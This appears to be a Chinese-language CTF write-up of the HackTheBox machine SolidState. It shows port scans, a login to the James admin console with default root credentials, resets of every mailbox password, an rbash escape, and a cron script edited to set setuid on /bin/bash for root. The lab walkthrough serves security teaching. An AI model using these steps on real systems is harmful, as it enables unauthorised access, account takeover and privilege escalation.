> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md).

# Solidstate HackTheBox 详解

{% embed url="<https://app.hackthebox.com/machines/85>" %}

{% hint style="warning" %}
**技能：**

* 滥用 James 远程管理工具
* 更改用户的电子邮件密码
* 信息泄露
* 逃离受限 Bash（rbash）
* 创建一个 bash 脚本以检测 cron 任务（procmon.sh）
* 滥用 Cron 任务（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/ff0a3ba1dbb835d4bffb01e7406ddac67bffe334" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/e72328850c7761028b9196f04dc0d9c03b0c5778" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

探测开放端口，并导出到 Nmap 目录中的“allPorts”文件。

```bash
nmap -p- --open -n -Pn -sS -vvv --min-rate 5000 10.10.10.51 -oG allPorts
```

<figure><img src="/files/46e15c87bd2cf792c038446cea698c20c492a8ea" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.25,80,110,119,45555）

<figure><img src="/files/108a71e8b03f42d97045b852cc72eceb82bf086b" alt=""><figcaption></figcaption></figure>

使用 Nmap 进行端口版本扫描：

使用 Nmap 扫描服务版本，并将输出保存到 "targeted" 文件中：

```bash
nmap -sCV -p22,25,80,110,119,4555 10.10.10.51 -oN targeted 
```

<figure><img src="/files/e0b265244480d0303050df0da53aea8ef4cda86d" alt=""><figcaption></figcaption></figure>

### 80 端口

#### 在 80 端口上未发现有趣的信息。

<figure><img src="/files/2a5a156371c30ebf8a28c9915338c7e7be1c1483" alt=""><figcaption></figcaption></figure>

## JAMES 远程管理

### 119 端口 - NNTP

> 119 端口使用网络新闻传输协议。该服务器运行着 Apache James 实例，一个邮件服务器和新闻服务器。我们使用 `netcat`，但没有发现相关信息。

```bash
nc 10.10.10.51 119
```

<figure><img src="/files/3f22ba65bf413f1fe6a3af79c7c2cf71dfc23a9d" alt=""><figcaption></figcaption></figure>

### 4555 端口 - 远程管理工具

> 在远程管理场景中，它可用于访问控制面板或与目标机器上的远程服务交互。扫描它以查看是否开放以及其托管的服务很重要。

我们尝试通过 Telnet 连接到 James 管理面板：

```bash
telnet 10.10.10.51 4555
```

<figure><img src="/files/5184ef4c8a76a1f63a458c780b06fcc5595b497f" alt=""><figcaption></figcaption></figure>

在搜索默认凭据后，我们找到了：

* **ID** : root
* **密码** : root

<figure><img src="/files/272979053826f0bdef7ef56df1efce6d0080128c" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/b283bf70043853b5a97971077a299f9e70922ea1" alt=""><figcaption></figcaption></figure>

我们成功连接并访问了 James 的管理面板。我们可以使用 `listusers` 命令列出用户，这使我们发现了 5 个用户：

* `用户：james`
* `用户：thomas`
* `用户：john`
* `用户：mindy`
* `用户：mailadmin`

<figure><img src="/files/7ab1cc0e142d492c73c0adb71b21b90e186dfee2" alt=""><figcaption></figcaption></figure>

我们可以使用 `setpassword` 命令更改用户密码，将其连接到 110 端口上的邮件客户端。我们对所有用户都这样做：

```ada
setpassword james james
setpassword thomas thomas
setpassword john john
setpassword mindy mindy
setpassword mailadmin mailadmin
```

<figure><img src="/files/e5c77d7ef97ab5b6dc10a093f5c0db96a3a3084e" alt=""><figcaption></figcaption></figure>

### 110 端口 - POP3

> 110 端口是用于以下协议的标准端口： **POP3** （邮局协议版本 3）。该协议用于电子邮件客户端从服务器检索邮件。当用户通过此端口连接到 POP3 服务器时，他们可以下载自己的邮件。

现在我们通过 Telnet 连接到 POP3 客户端：

<pre class="language-bash"><code class="lang-bash"><strong>telnet 10.10.10.51 110
</strong></code></pre>

连接时，我们使用以下命令：

```ada
USER <user>
PASS <password>
```

我们使用以下命令列出消息： `list` 命令。

我们注意到以下用户的邮箱中没有消息： `james` 和 `thomas`.

<figure><img src="/files/7687c87a044f577631668340eb5718fe45ac119e" alt=""><figcaption></figcaption></figure>

然而，用户 `john` 有一条消息，我们使用 `retr 1` 命令恢复。该消息包含以下文本：

> John，
>
> 你能先限制 Mindy 的访问权限，直到她被允许加入该项目吗？另外，也请确保给她发送一个临时密码，这样她就能连接她的账户。
>
> 提前感谢。
>
> 此致，/ James

<figure><img src="/files/4a22012d299612e93702e2fdf3386e4ea8c29d3d" alt=""><figcaption></figcaption></figure>

这表明用户 `mindy` 的邮箱中有凭据。确实，我们找到了以下信息：

* **用户名** : mindy
* **密码** : P\@55W0rd1!2@

<div data-full-width="true"><figure><img src="/files/5ffb9fa774e35e076fff9f92b1282fc17a8c6196" alt=""><figcaption></figcaption></figure></div>

我们使用这些凭据通过 SSH 连接并获取 flag `user.txt`.

### user.txt 标志 :)

<figure><img src="/files/fb419b39c89497d26948dde4b3229387806a5fc1" alt=""><figcaption></figcaption></figure>

## 权限提升：

### **从 RBash 逃逸到 Bash**

该 `mindy` 用户当前使用的是一个 `rbash` shell，它限制了许多命令的执行。

<figure><img src="/files/dfc868654d9ee283109d037198b4d3cec5b03747" alt=""><figcaption></figcaption></figure>

为了绕过这一限制，我们在通过 SSH 连接时使用以下命令以获得 Bash shell：

```bash
ssh mindy@10.10.10.51 -t "bash --noprofile"
```

<figure><img src="/files/b1a4736ee31f1849eb386f4f04c437fb41386ce7" alt=""><figcaption></figcaption></figure>

然后我们使用以下命令处理终端并获得完整 shell：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Cron 任务 - 修改后的脚本（Python）：

我们创建一个 Bash 脚本来分析当前进程并检测目标机器上执行的 cron 任务：

```bash
#!/bin/bash

old_process=$(ps -eo user,command)

while true; do
	new_process=$(ps -eo user,command)
	diff <(echo "$old_process") <(echo "$new_process") | grep "[/>/<]" | grep -vE "script|command|kworker"
	old_process=$new_process
done
```

通过运行此脚本，我们注意到 **root** 用户正在运行一个位于 `/opt/tmp.py` 目录。

<figure><img src="/files/ff30aa1bf1c9474f5833f6e134fbc3188ae13052" alt=""><figcaption></figcaption></figure>

我们有机会修改这个 Python 脚本。

<figure><img src="/files/95cce16b90fc7b580bf1be892c67b4bac6511acb" alt=""><figcaption></figcaption></figure>

我们修改它，添加命令来设置一个 **setuid** 在 `/bin/bash` 二进制文件，从而使我们能够以 **root**:

```python
#!/usr/bin/env python
import os
import sys
try:
     os.system('chmod u+s /bin/bash')
except:
     sys.exit()
```

编辑脚本后，我们等待大约一分钟让 cron 任务运行。

一旦 cron 任务执行，我们就可以获得一个具有 **root** 权限的 Bash shell：

```bash
/bin/bash -p
```

<figure><img src="/files/ed34ebe03b8b25f9fd9e455cc7d0642b1e57417e" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/bc08f207251e52036acb98fb695f3b1e9a582f71" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ddc187ca945cec87b3d560377ddd58254e187060" alt="" width="531"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/solidstate-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
